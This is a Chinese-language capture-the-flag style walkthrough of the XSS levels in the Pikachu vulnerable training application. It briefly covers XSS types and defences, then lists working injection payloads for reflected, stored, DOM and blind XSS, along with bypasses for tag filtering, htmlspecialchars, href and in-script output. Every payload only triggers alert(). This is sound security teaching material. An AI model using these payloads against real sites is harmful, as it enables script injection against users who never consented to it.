something about Pikachu - Cross-Site Scripting
pikachu
Cross-Site Scripting
概述
XSS(跨站脚本攻击)一般常见如下几种类型:
- 反射型(Reflected)
- 存储型(Stored)
- DOM型(DOM)
常见防范手段:
输入过滤
对输入内容进行过滤,不允许可能导致XSS攻击的字符输入。
输出过滤
根据输出点的位置对输出到前端的内容进行适当转义。
反射型xxs(get)
在输入框中直接输入对应脚本语句即可。
输入框有长度限制,或者审查元素中修改长度限制,或者直接构造URL
。
1 | http://train.com/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert('bad');</script>&submit=submit |
反射型xxs(post)
与反射型xxs(get)类似。
存储型xss
留言板功能,用户输入未做过滤,直接存储在DB
中,取出渲染时也未做处理。
直接存入脚本语句即可。
DOM型XSS
在输入框中输入的内容会被拼接成超链接的href
属性,因此构造闭合标签。
1 | '></a> <img src="nothing" onerror="alert('bad');" /> <a href=' |
DOM型XSS-x
在输入框中输入的内容会被拼接成超链接的href
属性,但是必须要先点击先出现的超链接,触发domxss()
方法,
才会拼接生成对应超链接。
构造闭合标签与DOM型XSS相同。
XSS之盲打
盲打就是注入脚本后,没有即时反馈。
因此需要尽可能多的提交XSS语句,查看哪些语句被执行了。
此次盲打是存储型XSS,是输入意见
与名字
,因此对应注入:
意见
1 | <script>alert('msg');</script> |
名字
1 | <script>alert('name');</script> |
登录显示页面查看: 全部注入成功。
1 | http://train.com/pikachu/vul/xss/xssblind/admin.php |
XSS之过滤
<script>
标签被过滤了,使用<img/>
标签注入。
只是简单的直接匹配,大小写转换后尝试,<SCRIPT>
也可以。
1 | <img src="nothing" onerror="alert('bad');" /> |
XSS之htmlspecialchars
php的htmlspecialchars()
函数将字符转换为html实体
,如<
转换为<
。
利用<a>
标签的onclick
事件,不使用特殊符号,只使用'
(单引号)。
1 | ' onclick='alert(/bad/);' |
XSS之href输出
html
的<a>
标签的href
属性可以指定script
。
1 | <a href="javascript:alert('bad')"> 阁下自己输入的url还请自己点一下吧</a> |
XSS之js输出
内容提交后,拼接到script
中,由javascript
根据内容判断渲染什么内容。
因此可以构造闭合<script>
标签。
1 | ';</script><script>alert("bad");</script> |